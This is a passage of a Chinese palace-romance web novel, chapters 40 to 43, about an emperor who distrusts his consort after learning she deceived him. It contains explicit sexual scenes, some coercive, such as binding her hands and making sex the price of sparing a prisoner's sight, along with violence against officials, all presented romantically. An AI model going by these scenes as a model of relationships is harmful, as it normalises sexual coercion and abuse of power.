去用早膳时,裴承珏竟还在,她不免瞥了眼殿外,往常这个时间点,裴承珏都在勤政殿处理政务,今日不上朝便罢了,也不去勤政殿了? 她疑惑地瞥去数眼,裴承珏全然不理,冷淡地坐于膳桌前,待她用过早膳,才道,“过来。” 乔棠只好起身跟着他又进了寝殿,临窗地上书籍凌乱散着,长案上反倒空空如也。 裴承珏立在案前,从长案上发现一根她的长发,神色如常地拿手指勾起。 “惠贵妃还要么?” 第40章 乔棠望着他不再含笑的眉眼,一下记起昨夜案前,他的冷言冷语灌满了自己心腔。 一想到接下来自己还要受他这般冷待,乖顺柔软也都无用了,她也没了应付心思,只俯身去捡书,“不要。” 气氛凝滞。 她将书籍一一捡起,重新放置在长案上,眼角余光瞥见裴承珏还在勾弄那根长发,末了竟翻开书卷,将那根长发夹在了书中,指腹摩挲书卷。 她诧异地去望裴承珏,四目相对,裴承珏别过视线,命令她,“坐上去。” 一开始,她顰眉不动,奈何裴承珏逼近,以身躯压迫,她不得已坐上长案。 裴承珏双臂一伸揽住她,将她困于一方怀抱里,接着吻上她的面颊,手指解开了她的衣领。 乔棠吃惊,昨夜已那般了,怎还是不够! 裴承珏显然并不满足,动作比之昨夜更为熟练,且不准乔棠闭眼,执意要乔棠看着他。 大白里不及夜晚,窗外明晃晃的日光射进来,照得两人无处可避。 乔棠望着他浸在情焰中的眉眼,感受着体内,浑身都发起烫来。 他、他怎么变得这么混! 犹记得春日,他还说读书之事不可荒废,眼下却压着她在书卷上荒唐。 渐渐地,乔棠受不了了,控制不住地出声。 霎时两人都惊着了,乔棠意识到自己做了什么,面颊红透,浑身发颤。 裴承珏哪里经得住这个,他不曾有过其他女人,乔棠是他的唯一。 他的所有情爱感受都来自乔棠,乔棠叫他欢喜,他就欢喜,叫他痛苦,他就痛苦。 眼下乔棠这一声,更是叫他痛楚中掺着欢愉,他在全然占有乔棠,即便乔棠心里没他,他也能让乔棠快乐。 这般想着,他摁住乔棠逃开的动作,得寸进尺,越发霸道,“再叫。” 乔棠不依,他更是过分,乔棠开始求饶,泣出声音,他堵住乔棠的唇,“不对,是之前那声。” 乔棠无奈,启唇发出颤声,结果一上午,从长案到窗台,再到镜台,裴承珏让她喊哑了嗓子。 最后裴承珏抱她回长案前,坐在椅子上,捡起她刚落的长发,再问一遍,“要不要?” 乔棠被他胁迫,嗓子发不出声音,微微点头,他倒不给乔棠了,与先前头发合在一起压回书卷中。 乔棠心里骂他,身子只能由着他抱着,松散衣袍遮住两人,两人密不可分地在一起。 乔棠动一下,裴承珏便冷脸,喂了她茶水,给她润喉用,她这才发出微弱声音,“陛下不去理政?” 裴承珏将适才压在她身下的书卷翻开,目光落在书页氤出的糜艳水迹上,眉心攒出欲色,须臾克制地消散了。 “朕去理政,惠贵妃好回冀州?” 真是好没道理的话,照太极宫这被围的程度,乔棠如何能出得去? 不过是朝她撒气而已,她听罢也不管了,寂然无声中,裴承珏眼皮都不抬一下,“惠贵妃没长嘴?” 原来不出声也有错,乔棠顰起眉尖,他想听自己说什么?不会回冀州? 这个真说不准的,她可不敢保证,裴承珏抱起她就往外走,“看来惠贵妃没力气说话了,不若去用些午膳。” 就这样去? 乔棠惊慌,双手搂住他的脖颈,张口欲言,可不知怎地,到了嘴边的保证就是吐不出来。 往后的事怎么说得准呢? 就因这个,裴承珏气急败坏,又是一通好弄,好在末了还存了点良心,为她穿好了衣物,带着她去用午膳。 他俨然已不信任乔棠,寸步不离地守着,一用过午膳就抱了乔棠进寝殿。 他这样犯混,乔棠无法想象太极宫外的情景,便是有心相劝,也没胆子,就怕裴承珏折腾她。 这厢她作难,慈宁宫中太后已气到不行,险些昏厥,连喊了几个太医,好歹顺了气。 “一上午不出太极宫罢了,眼下天都要黑了,还是不出,陛下这分明是被惠贵妃迷了心窍!” “兄长先前还道哀家糊涂,不该逼惠贵妃离宫,如今倒好了,陛下因她都开始荒废朝政了!” “惠贵妃必须离宫!” 太后忿然不已,镇国公紧皱眉头,他这妹妹还没看出症结所在,“太后娘娘,当务之急是见到陛下。” “去太极宫!” 天幕黑沉,阴风瑟瑟,太后娘娘领着镇国公一路至太极宫门前。 但见众多侍卫拱卫着紧闭的宫门,见了两人只是行礼,半步不让地立在宫门前。 太后道,“开门,哀家要见陛下。” “启禀太后娘娘,陛下有言,任何人都不得进入太极宫。” 太后强忍怒火,镇国公恐她失态大吼,对那统领道,“进去禀报陛下,就说太后娘娘来了。” 那统领当即跪下,“请太后娘娘恕罪,没有陛下命令,属下也不能进入。” 太后眼前一黑,便要硬闯,镇国公顾及她的颜面,劝着她退一步,“不妨等臣明日取了先帝御赐的金锏来,有先帝遗命,陛下尚能顾及些。” 当初先帝驾崩,恐裴承珏日后犯混,特地当着裴承珏的面赐给镇国公一柄金锏,命镇国公好生监督裴承珏,若是裴承珏有失德行为,可持金锏相劝。 镇国公领命,然裴承珏从不犯错,一向做得极好,他就没用过这金锏,时至今日,裴承珏脑子突然发昏,他才肯使出金锏。 太后一听大喜,“这个好!” 两人离去,只等明日取了金锏再来,太极宫则已点燃盏盏灯笼,映出雕梁画栋,乔棠在裴承珏怀中沉沉睡去。 翌日,镇国公取了金锏,跟着太后再度来到太极宫,那统领见了金锏,依然不敢让两人进殿,只开了门,将话递给宫内的宫人。 宫人得了消息,一路疾行至寝殿,寝殿的门半开着,里面传出呜呜咽咽的声音。 宫人垂颈,将宫外情形一说,听得乔棠身下猛缩,惹得裴承珏眉峰一皱,闷哼出声。 乔棠后背抵着墙面,钗落鬟松,花容 如海棠滴露,裴承珏眸子闪出痴迷,一瞬又惹上怒意,“不准乱动。” 乔棠真想扇他一巴掌,镇国公都拿出金锏搬出先帝了,他怎还沉溺在此等事中,不该转瞬退出,出去认错么? 乔棠是真没料到他这人骨子里能混到这种程度,想到镇国公还在外等着,倘若此事传出去,他岂不是被天下人议论? 届时他的天子颜面何在?恐怕还连累自己被天下人骂,那她还做不做人了! 乔棠遂低低恳求,“陛下见见太后娘娘和镇国公吧。” 眼角沾惹春意,秋水眸子幽幽望来,裴承珏静静地看了会儿,无动于衷地扯唇。 “惠贵妃还是顾好自己吧。” 接着他抱着乔棠到殿门边,立在门后道,“传朕命令,请太后娘娘回慈宁宫休息,命王统领带镇国公去春熙殿。” 宫人领命去了,乔棠心念急转,裴承珏让镇国公去春熙殿,想必魏清砚便被押在春熙殿,也不知魏清砚如何了。 她忽地口出颤声,抬眼便见裴承珏面色沉沉,“惠贵妃也想去春熙殿?” 她极快摇头,裴承珏呵地一声,她认怂地偎向裴承珏怀抱,心里想着,既然裴承珏都能让镇国公去瞧了,应当也无大碍。 宫门外,太后一听裴承珏所言,心里火气猛蹿,当即昏了过去。 镇国公大惊,忙命宫人传了太医来看,又一并回了慈宁宫。 半个时辰后,太后幽幽转醒来,恼怒未散,“惠贵妃不离宫,陛下是好不了了!” “太后且消消气,为了惠贵妃伤了身子,也不值得,太后娘娘若真想让惠贵妃离宫,倒也简单。” 镇国公也意识到了事态严重性,由此换了想法,低声提醒太后,“先帝若在,必不希望看到陛下沉迷后宫,也许先帝生前便有此虑,已为陛下择定了一位姑娘,既是先帝遗命,陛下该当遵守才是。” 太后了然,既已如此,她也不必手下留情了,一时气也顺了,让镇国公带着金锏随王统领去春熙殿了。 及至第三日,乔棠开始埋怨裴承珏一身的气力,日夜折腾,终于到晚间,她得了空歇息,与裴承珏一起用晚膳。 饭罢,两人还未起身,两个宫人在门外禀报,说是镇国公有物呈上。 裴承珏命人进来。 但见进来两个宫人,一人手捧金锏,另一人手捧虎符,呈于裴承珏眼前。 裴承珏面无表情。 乔棠震骇,转瞬明白,镇国公见了魏清砚,不过一日,他决定将镇国公府的倚仗全部呈上,可见魏清砚境况坏到了何种程度。 镇国公是在求裴承珏能放过魏清砚。 然而,一旦裴承珏接了这两样,魏清砚或许能留一命,裴承珏与镇国公府的血缘情分也就尽了。 乔棠猝然去望裴承珏,见他面容冰冷,眉峰如削,目光凉浸浸的,再不是那个展眉而笑的少年了! 他急剧变化,心也硬得快了,乔棠无法接受是因自己导致他这般模样,心脏骤然发疼,忍不住抱住他伸出的手臂,张口便是哽咽之声。 “难道陛下已痛恨臣妾和魏清砚到连舅舅也不要了么?” “臣妾自知理亏,往日欺骗陛下太多,陛下如何惩罚臣妾都不为过,但臣妾与魏清砚之间当真再无半分情爱。” “那日臣妾在文华殿所言,不过都是戏言,臣妾便是和魏清砚回冀州去,也不会再同他做夫妻了,陛下真要为了一个误会伤了舅舅的心?” 乔棠一手抚上裴承珏的面容,想拂掉他眉间的冰冷,不想裴承珏竟无动于衷,眸子迸射出寒意,“惠贵妃想替表哥求情就直说。” “什么替表哥求情,臣妾不是为了魏清砚!” 这一声充斥着怒意,却叫两人同时一怔,乔棠意识到自己说了什么,慌地松了裴承珏手臂。 想要撤开的身子骤然被裴承珏搂住,裴承珏晦暗双眸有微光闪过,眨眼间想起什么,光亮又湮灭了,“惠贵妃还想哄朕放了魏清砚?” 乔棠心头猛地一沉,如坠冰窖,裴承珏不信她,即便她说了实言,裴承珏依旧不信她。 她艰难地张了张口,半晌吐出一声,“那陛下要如何才肯相信臣妾所言?” 裴承珏薄唇勾出一抹讥笑,“惠贵妃不必枉费心机了,你且放心,魏清砚死不了。” 乔棠被他这话刺得再也无法言语,躲避似地在他怀里蜷起身子,他命宫人退下,抱起乔棠步过廊下。 冬夜寒气逼人,他的步子越来越慢,乔棠察觉不对,挣扎着要下去,被裴承珏摁住。 她忍下心中还未消退的刺疼,扬起脸颊,小声地问,“是不是脚疼?” 宫灯的光影随风摇落,扑闪在她轻颤的睫羽上,裴承珏垂下视线,久久地凝视着她。 这一瞬里,裴承珏无比痛恨她,这种参不透真假,不敢相信的爱叫他痛苦,又快乐—— 作者有话说:今天提前更[吃瓜]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-45 第41章 两种相悖情绪在心腔齐齐鼓动,叫他难以招架,缄默不语。 乔棠趁此从他怀里下来,立在地上,骤然失了温暖的怀抱,纤肩瑟缩一下。 裴承珏皱眉,这才生硬道,“不是脚疼。” “陛下分明行走有碍,还是莫要说谎,快些召太医吧。” 乔棠不愿他硬撑,这脚伤原是裴承珏为她负的,她每每想起便觉心中有愧,望向裴承珏时,眸子含着歉意。 于是裴承珏的痛恨越发深了,谁要这种歉意,和喜欢没半分关系的东西! 他一臂拂开乔棠,离她远了几步。 “朕看惠贵妃自己扯谎惯了,看旁人也觉没实话。” 乔棠容色骤然一白,心头刺痛再度浮上来,咬唇迟疑一下,也不言语,提步先走了。 廊外寒风急起来了。 有冰凉雪瓣徐徐飞来,起初只零星几片,落在她发上,眨眼融了。 不过几瞬,雪瓣如柳絮绵绵不绝,被风裹进廊下,纷纷扬扬,快要遮住乔棠身影。 裴承珏快看不清她了,眸中冷然犹在,心腔却鼓动着懊悔。 适才是他失言,可姐姐真不知他想要的是什么么?总给他愧疚歉意这种叫人厌恶的东西。 他遥遥望着乔棠,眼看两人越隔越远,手掌紧握成拳,心中顿生一种错觉,他若不追上去,连愧疚歉意这种东西也不会拥有了。 乔棠步子顿下来,迟迟抬不起脚前行,也不回头,裴承珏已然厌恶她的欺骗,冷待于她,那离厌弃她也已不远了。 隔着飞雪,可怜见的,两人竟谁也不懂谁。 急风侵体,冷得乔棠身子一颤,正欲提步,身后脚步声追来,腰身抚来手掌揽住她,将她稳稳抱起来。 “惠贵妃去睡觉,朕叫太医。” 乔棠愕然,正欲说她也等太医来,被裴承珏冷目一扫,霎时噤声,老老实实去睡了。 也就不知,裴承珏并未召太医,只在正殿独坐半个时辰,复进入寝殿。 乔棠已沉沉入睡,睡至卯时,被体内充盈惊醒,启唇颤出一声,身子轻摇,青丝铺洒枕间。 裴承珏一味动作,也不言语,一时床帐摇晃,情焰灼烧,乔棠颤声连连。 裴承珏身体骤地绷紧,倏地一掌捂住她的唇,声音压抑,“别叫,再叫要……” 乔棠意识朦胧,忿然不平,要叫的是他,不要叫的也是他,真难弄,索性不管他了,只依着自己来。 于是不过片刻,一切结束了。 乔棠轻快起来,即可陷入了沉睡,只有裴承珏面沉如水,狠狠地瞪了她一眼,披衣下床,上朝去了。 昏沉天幕中,今冬的第二场雪还在飞洒,休了三日的朝会重新开启,朝臣依次进入奉天殿,独镇国公称病未到。 奉天殿燃起炭火,生出融融暖意,朝臣心头却寒意涔涔,静静等着不知是否到来的裴承珏。 直到唱声响起,裴承珏身着朝服迈步进殿,朝臣心中方 敢松气,又见裴承珏身坐龙椅,容色平静,似已恢复先前端方威仪,心生欢喜。 陛下一贯是是好的,不过是混了那么几日,依着他的年纪,最多算迟来的叛逆,倒也正常,只要能恢复先前模样便好! 临近年关,朝务繁多,朝臣相继陈奏政务,闻得裴承珏出声决断,轻重缓急,皆有章法,又是暗喜,真如先前般睿智果决。 一时都察院御史们眼风四动,一御史很快出列,俯身道,“启禀陛下,臣有本陈奏。” “昔日陛下勤政,夙夜匪懈,未曾懈怠,今受惠贵妃之惑,疏于朝会,怠于政事……” 奉天殿静极,唯有御史痛斥惠贵妃狐媚惑主之言响彻四周,朝臣听得心间惶惶,悄然向龙椅窥去一眼。 但见裴承珏并无异常,起身拾阶而下,容色无喜无怒,慢慢步至御史前,冷冷地垂下视线。 朝臣屏气凝神,心头狂跳,那御史只顾埋头而言,“今陛下若再耽于惠贵妃……” 很快,在无声的震惊中,裴承珏抬脚就踹了过去,只听咚得一声巨响,那御史翻滚在地,口吐鲜血,翻身不能。 裴承珏一眼未看,只阴着面色,眸中冷光剜向都察院诸人,都察院惶惶而跪。 “惠贵妃温婉端方,淑慎贤良,行性纯善,绝非惑主之人,是朕脚伤复发,误了朝务,与惠贵妃有何干系!” “薛章,都察院诽谤贵妃一案,朕就交给你了。”他一甩衣袖,径自离去。 殿中无有朝臣敢走,纷纷阖目,抬袖遮脸,心里直凄凄叫嚷,还道陛下好了,不想他是越来越混账了! 内阁辅臣也都愣住了,顾首辅一把年纪了,受不住裴承珏这等失德行径,惊得两眼一翻,直直朝后倒去。 只听咚得一声摔倒在地,直接不省人事了,朝臣变色大惊,“顾大人!” 也有朝臣见事端频生,镇国公又不在,匆地派宫人禀告太后娘娘,太后娘娘听罢,当下怒火中烧,面色发黑,领人直去勤政殿。 勤政殿伫在白茫茫中,殿内温暖如春,裴承珏立在炭火前,将手中折子随手扔了进去。 太后气极,也不许宫人通禀,疾步而去,见裴承珏在烧折子,更是恼得眼前一黑。 “陛下又在犯什么糊涂!” 她劈手夺了折子一瞧,却原来是弹劾乔棠之语,心中直叫,惠贵妃!惠贵妃!一切都因这个狐媚子蛊惑了她儿子! 一时怒火烧毁了理智,她气急败坏地道,“陛下为着惠贵妃做了多少荒唐事,是真不顾自己颜面了,可知惠贵妃心中是怎么想的陛下!” 裴承珏抬眸,峻挺鼻梁下薄唇绷成直线,他的整副面容已褪去青涩,显出坚毅,“朕与惠贵妃之事,朕自会解决,无须母后操心。” 太后冷然而笑,“哀家倒是不想操心,惠贵妃不许呢,当初惠贵妃被陛下召进宫,可是对陛下无意,遂向哀家求助。” “哀家便说,只要惠贵妃让陛下满意,待陛下厌了她,就送她出宫,她为了出宫,想必也是对陛下逢迎献媚,陛下莫不是以为她真钟情于你?” “陛下过生辰,惠贵妃可有送陛下生辰礼物?便是连个生辰礼物也没收到吧?” “陛下与魏清砚生辰不过隔了几日,听太极宫的人说,惠贵妃亲手缝了一条腰带,这腰带是送给魏清砚的还是陛下的?” “陛下一清二楚吧?” 太后只想叫他清醒一下,莫再糊涂下去,语如利刃,真真假假,声声不停,戳向裴承珏。 裴承珏立着,目光掠到窗外飞雪,耳边已听不清她的声音了,只觉周遭都沉寂下来了。 眼前清晰闪过那条腰带的影子,在乔棠带进宫里的箱子,寻常人家用的,魏清砚倒是真能用。 和小像、琴放在一起,小像是乔棠骗他说给魏若媚的,分明是魏清砚的。 那琴也是魏清砚为乔棠制的,她还道自己不会弹琴,程肃呈给他的密函中,倒说乔棠随魏清砚学琴,夫妻琴瑟和鸣得很。 那这腰带自然也是给魏清砚的。 他想起程肃呈上的密函,记录着乔棠与魏清砚三年的夫妻情分,乔棠为了清除魏清砚身上的陈旧疤痕,费了多少心力,大概也曾为魏清砚哭过很多次吧。 原来她爱起人是这个模样啊。 对魏清砚大方得很,碰上他,就只有哄骗,连个生辰礼物也不给,待自己真坏啊! 一时,脑中又闪过昨夜乔棠那一声,“臣妾与魏清砚之间当真再无半分情爱!” 裴承珏扯唇一笑,心里慢慢道,姐姐嘴里真是没有半句实话,再也不信她了。 炭火烧得很旺,燎上他的衣袖,他犹自不知。 眼看快要烧到了他的皮肉了,浸在怒火中的太后大惊,“还不快帮陛下扑火!” 宫人纷纷上前,却全被他惊了,但见他扬手,以手摁掉火焰,也不知疼似的,迈步出了大殿。 雪下至晚间未停。 裴承珏一个整日没有回太极宫,乔棠细细一想,也觉正常。 停了三日朝会,想必裴承珏有许多朝务亟待解决,怕是今夜也不会回来了。 寝殿旷大,乔棠一人孤零零的,没有裴承珏,没有王嬷嬷,什么也没有了。 她孤身坐在窗前,翻开裴承珏先前读过的书卷,方看了一会儿,忽闻脚步声传来,心里一震,裴承珏回来了! 她匆地起身,还未出去,但见裴承珏缓步进来,竟一个白日也不换衣,还穿着威仪赫赫的朝服。 面容倒无什么异样,只一双眸子笼着醉意,视线触及乔棠,冷了几日的面容,竟微微一笑。 乔棠心头一跳,鼻尖萦绕起酒气,心知裴承珏喝醉了,抬眸对上裴承珏的微笑,不知怎地,身上蹿起一股寒意。 第42章 “陛下醉了,臣妾为陛下备醒酒汤。” 她觉出危险,本能地想逃,侧身避开裴承珏,还未提步,已被裴承珏堵住前路。 裴承珏双手摁住她的纤肩,薄唇再度勾出笑,“朕没有醉。” “姐姐。” 声含温柔,如以往那般炽热,听得乔棠浑身如过电流,连呼吸都顿了一下。 这哪里是没醉,分明是醉糊涂了,都忘了给她冷脸看了。 但既已醉成这样,想必也做不了什么,她也松了防备之心,目光瞥见裴承珏朝服衣袖残破,手掌亦有伤,惊惑道,“陛下的手怎么了?” 裴承珏眼里笑意幽深诡谲,如根根尖刺,扎在她因担忧而顰起的眉尖上。 裴承珏一手捏起她的下巴,四目相对间,薄唇泄出一声讥笑,姐姐惯会拿这种伎俩骗他,叫他以为姐姐多么喜欢自己。 “朕的手很好。” 裴承珏旋身坐在椅子上,以手支着下颌,眸中醉意加深,面上冲乔棠恶劣一笑。 声音骤然发冷,“倒是魏清砚的眼要废了。” “朕好心把惠贵妃的画像摆在他面前,好叫他多看看惠贵妃,他竟一连几日都不睁眼,这样下去,那双眼如何受得了?” “惠贵妃不救救他么?” 乔棠乍然一听,浑身如如遭雷击,半晌都回不过来神,心腔也鼓动起无限的苦涩懊悔。 看来自己再怎么样撇清和魏清砚的关系,裴承珏也是不信自己了。 真是后悔啊,当初进宫,千不该,万不该,竟觉着他好生糊弄,以情爱哄他。 眼下再看,那双醉意朦胧的眸子,已裹满了要吞了她的恨意。 她扬颈,逼回眸中泪意,慢慢道,“陛下既然问了,臣妾便说了。” “臣妾与魏清砚夫妻三年,半分情爱不剩,唯残存些故交的情分,实在不忍他做一个瞎子,不知陛下要臣妾如何做,陛下才能放过他?” “好一个故交的情分!” 她爱了魏清砚三年还不够,时至今日,她还要管他! 裴承珏眸子一瞬赤红,死死地盯着乔棠,胸腔翻滚着痛楚,脑中醉意侵蚀着残存不多的清醒。 “看来惠贵妃对魏清砚依然情深意重啊!” 可惜,他的伤心,他的嫉妒,都被他呈现出来的愤怒与痛恨掩埋了。 乔棠只看得见他的恨,整副心腔又麻又木,连惧怕也感觉不到了。 “难道陛下心中除却男女情爱便什么感情也 没有了么?” 她觉着裴承珏不可理喻,又十分可悲,“陛下说臣妾情深意重,那陛下罔顾臣妾解释,不顾与镇国公的甥舅情意,执意要毁了魏清砚,臣妾能说陛下薄情寡义么?” 裴承珏猛地阖目,喉结滚动,他那么喜欢她,那么喜欢她,到头来,她说自己薄情寡义。 掩在袍角下的脚踝滚着蚀骨疼痛,他控制不住地踹向长案,一时桌角四颤,长案轰然塌落,书卷纷纷跌落,砸落他的肩膀。 疼痛连带醉意叫他脑中混沌,他缓缓睁开双眼,眸光冰冷可怖,“既然惠贵妃都这么说了,朕这种薄情寡义之人岂能轻易放过魏清砚?” 乔棠静静地望着他,听他笑道,“不知惠贵妃进宫几月,还剩些什么伎俩没使出来?” “不若今夜一并使出来,也叫朕可怜可怜惠贵妃,兴许朕一心软,魏清砚就不必做瞎子了。” 乔棠面上无动于衷,喉间哽塞,半晌缓步过去,抬袖解衣。 很快寝衣褪去,在灯火煌煌下,身无一物。 裴承珏嗤地一笑,笑自己即便到了此刻,也依旧渴求着她,甚至想好好抱抱她。 乔棠闻声阖眸,俯身亲吻他。 往日分明亲吻过很多次了,乔棠第一次觉着,这双薄唇那么冰冷陌生,眼角不由滴下眼泪。 落在裴承珏面上,像带着火,烧得裴承珏恼怒,原来她这般不情愿。 自打进宫,她主动亲吻数次,裴承珏当两人两情相悦,却原来这些都是她为出宫的手段。 一时,唇瓣相贴,各有怨愤。 亲吻片刻,裴承珏眸色一深,起身抱起她上了床榻。 床帐间,裴承珏处处用力,乔棠在他的身下毫无抵抗之力,被逼得眼泪簌簌而落。 滴滴滚落裴承珏心里。 裴承珏薄唇讥诮,“惠贵妃为了魏清砚心甘情愿,又何必哭成这样?” “还是说,惠贵妃不愿意了,不想管魏清砚了?” 乔棠无言,只能逼回眼泪,默默受着。 裴承珏见状,越发恼怒,从袖中抽出那条腰带,绑住乔棠双手,“惠贵妃可识得这条腰带?” 他还穿着朝服,衣冠整齐,冰凉衣物触到乔棠肌肤。 “可惜不能送给魏清砚了。” 乔棠身子一颤,愕然瞪大眸子,这腰带和魏清砚又有何关系? 他真是醉疯了! 耳边传来裴承珏醉言,“怎么,看到腰带,反应这么大?” “不会此刻还想着魏清砚吧?惠贵妃与他做夫妻的夜里,他有朕进得深么?” 听到这样的混账话,乔棠呼吸一下急促起来,面上再无血色,哆嗦着唇,扬袖就挥了过去。 啪得一声落下,一室寂然。 裴承珏动作一顿,偏过脸去,面上显出手指痕迹,腮边青筋鼓动。 片刻,他呼了口气,抬起眸子,眸中醉意仍未散去,进得更深了。 口中沉沉一笑,“打得好。” 乔棠受不了地小声啜泣。 听着很是伤心。 裴承珏默然,接了绑住她手的腰带随手一扔,弃之如敝。 然后紧紧抱着她下床,抓起一件白狐大氅罩住她,衣袍遮掩处密不可分。 他在走动间道,“惠贵妃还是别哭了,存着力气,朕带你去见见魏清砚。” 乔棠啜泣声不止,见他当真发疯了,就这样抱着她真的出了殿,启唇泣道,“不要!” 殿外漫天风雪,冷气凛冽,宫人都被禁行了,只有密不可分的两人立在殿门边。 乔棠惧了他的疯状,攒着力气伸手摸向他,却只能摸到他朝服上的冰冷云纹。 这一瞬里,她觉着这个怀抱也变得冰冷了。 和魏清砚又有何区别! 霎时,自进宫以来的一切温暖都骤然消失了,她的心腔空下来,再无一点残留。 裴承珏犹不知晓,“不要见魏清砚?惠贵妃又在骗朕了。” 他将乔棠抵在殿门上,昏淡光线下,乔棠眼眸变得漠然,容色索然,似乎觉着一切都该结束了。 “陛下深恨臣妾骗了陛下。” “究其原因,不过是春日时,陛下要臣妾入宫,臣妾本是不愿,又不敢违抗陛下命令,只得哄骗陛下,以求及早出宫。” 裴承珏静静听着,抱着她的手臂越来越紧,她被勒得生疼,咬破了唇瓣,沁出血珠。 她浑不在意,还要张口时薄唇落下,吮尽血珠,和以往那些温柔亲吻何其相似。 是裴承珏怕了,不敢叫她开口了,强势地叫她沉浸在情焰中。 可她的意识再没有这般清明过,“现在臣妾可以告知陛下实言了。” “臣妾待陛下,从无半分情爱。” 裴承珏薄唇一抖,动作骤然一顿,良久抽身而出,双臂也松了乔棠。 乔棠裹在白狐大氅里,听见雪落的声音,还有裴承珏离开的脚步声。 这场虚假的情爱泡沫终于散在了漫天风雪中。 * 自那夜过后,裴承珏再未踏足太极宫。 太极宫原是他的寝宫,时至今日,已和他没什么关系了,成了乔棠一人的宫殿。 乔棠被禁在这里,不准踏出一步,每日只有宫人在她面前来来回回。 一到夜里,偌大的宫殿寂然,乔棠能做的就是坐在新的长案下翻阅裴承珏的书卷。 很无趣,她强迫自己看进去,翻到夹了她头发的那一册,她抽出头发,替裴承珏烧了个干净。 翌日宫人突地忙碌许多,穿梭在各处清扫,看得她疑惑不已。 宫人躬身提醒,“贵妃娘娘,快要过年了,太后娘娘昨日下令,各宫需得好生清扫装点,太极宫也需快快收拾好。” 乔棠哑然,原来已快到新年了,忽心念一转,眼下裴承珏已厌弃了她,原定的开春离宫也该思付如何做了。 略微一想,又有一道难题。 她要离宫,肯定要带着王嬷嬷,可王嬷嬷不知被裴承珏押在何处。 她总得先让裴承珏将王嬷嬷还给她。 这般想着,她为难地叹了口气,以裴承珏再不愿见她的架势,这是难于上天的事了。 午后冬阳轻暖,明晃晃的日光射下来,她坐在正殿前的台阶处,晒着日光,思索着这个难题。 忽听宫人道,“陛下,娘娘在前面。” 她以为自己听错了,直到裴承珏从拐角出现,缓步过来,离她越来越近,她才反应过来,站起来行礼,“臣妾见过陛下。” 她低眉垂首,只一节白膩颈子暴露在日光下,裴承珏掠过一眼,视线移向别处。 乔棠抬起头,她瘦了一些,身形更显纤薄,脸颊巴掌大小,下巴尖尖的,秀美纤巧。 裴承珏望来一眼,眉峰狠狠一皱,骤然转头,对着侍卫道,“将这里的掌事太监拖出去杖毙!” 乔棠一怔,他才来,又发什么疯! 她当即拦住侍卫,对上裴承珏沉郁面色,“不知陈公公犯了什么罪?” 裴承珏冷笑,“惠贵妃眼下形容,若不是宫人们侍奉不周,那就是专门给朕难堪了。” 乔棠这才明白他这是说自己瘦了,“与宫人无关,是臣妾自己的问题。” 她抿抿唇,不解道,“臣妾愚钝,不知臣妾瘦了,怎就给了陛下难堪?” “再过几日,宫中开年宴,惠贵妃以这般模样出现,难道不是给朕难堪?” 乔棠吃惊,她已是被厌弃之人,自当老老实实等着离宫,何必再随裴承出席年宴。 她道,“陛下既觉着臣妾形容有碍,臣妾不去便是。” 裴承珏深深地望了她一眼,又撇开视线,“你是朕唯一的后妃。” 乔棠了悟点头,“陛下是只有臣妾一个选择。” 第43章 她思付着王嬷嬷一事还需裴承珏同意,不好与裴承 珏冷言,一时既不说去,也不说不去,只默然而立。 她一贯喜欢占些嘴上便宜,眼下不言不语,裴承珏当她辩不过自己,认了下来,面色稍霁,“惠贵妃这几日好生养着。” 乔棠心道,这般嫌弃自己,何苦还执意要自己去? 她见裴承珏言罢并无离开之意,越发不解。 她与裴承珏已然撕下了哄骗假象,裴承珏也是许久不来,厌弃她至此。 她更无心逢迎应对,两人合该不见面才是,裴承珏何苦来这一趟,单单为年宴一事? 心头狐疑,她面上不显,试探道,“陛下若无其他吩咐,臣妾先告退了。” 似是不愿与裴承珏多待。 裴承珏眸色泛冷,也不张口,乔棠等了片刻,耐心耗尽,料想此刻也不宜提王嬷嬷一事,遂行礼告退,径自回了寝殿。 外间窗下长案上除却书卷,还摆了针线笸箩,旁边静静躺着一个还未缝好的荷包。 荷包是为王嬷嬷缝的。 乔棠不知她是何境况,每日焦灼着,索性做些针线活,为她缝个荷包,缓解心头担忧。 乔棠坐在案下,静下心来,拿起针线继续缝荷包。 敞开的窗户浮进日光,细细绒绒地落在发上,发丝也显得乖巧柔顺了。 裴承珏缓步过来,立在窗前,冷冷地看着这一幕。 袖中手指空空,忍不住摩挲几下,似是很想抚摸那柔软发丝。 意识到这一点,他的容色变得又阴又冷,眸中透出万般痛恨。 只恨自己没有骨气,分明被骗得极惨,还巴巴地跑过来。 乔棠觉出光线不对,抬眸望来,一眼撞见他这模样,惊得手下一抖,针尖刺进指腹。 指腹顿时沁出血珠,疼得她嘶得一声,忙地低头,将唇瓣含进口中,吮尽血珠缓解疼痛。 这且罢了,不过滴些血珠,她心有余悸地思及一幕,裴承珏是有多恨她,才露出那般骇人神色。 她再没抬头,也就没看到裴承珏骤然伸出的手落在了半空,又极快地收了回去。 裴承珏只望得见她低下的脑袋,瞧不见手指伤到何种程度,迈步进来,抄起一把扶手椅,在她的身边坐了下来。 乔棠侧头见了,愕然道,“陛下?” “朕要读书。” 裴承珏伸手去拿书卷,余光瞥见乔棠手指,见并无什么大碍,目光转回书上。 两人不过隔了一拳距离,气息逐渐交融,乔棠竭力当他不存在,低眉缝荷包。 慢慢地,一道视线扫过来,伴着裴承珏的嗤笑声,“惠贵妃针线手艺这般差,可真是为难收荷包的人了。” 那荷包颜色明显不是她钟爱的,而是沉稳的石青色,多是男子喜欢的。 裴承珏的目光死死地盯过来,先前缝了腰带,不是给他的,那这荷包就更不用想了。 一时视线带刺,扎得乔棠心脏一缩,她将头低了些,捏着手中荷包,在心里骂裴承珏。 她是手艺差了些,又不是给裴承珏的,裴承珏冷嘲热讽个什么劲! 转念一想,又有些欢喜,可算揪住一个机会了,她抬起头,望向裴承珏,“臣妾也知自己手艺不好,做的荷包浅陋,不及宫中为陛下制的万分之一。” 两人已有一阵子没见,乍然离这般近,裴承珏眸中浮出欲色,一味望着她张张合合的唇瓣,听她道,“所幸王嬷嬷不嫌弃,臣妾缝了给她,她极欢喜。” 裴承珏眸中欲色霎时消退,尽染冰冷。 王嬷嬷,魏清砚,她心中翻来覆去就这两人,自己又算得了什么,她就是缝一辈子荷包,恐怕也想不到给自己一个吧。 他听乔棠再道,“王嬷嬷向来疼臣妾,臣妾也离不开她,陛下怨恨臣妾欺骗陛下,臣妾甘愿受罚,只是王嬷嬷对此事一无所知,陛下能否放过她,将她还给臣妾?” 乔棠眸中尽是担忧,落入他眼里,他控制不住地心想,她也这样担忧过自己,可惜是假的,担忧起别人倒是真真切切。 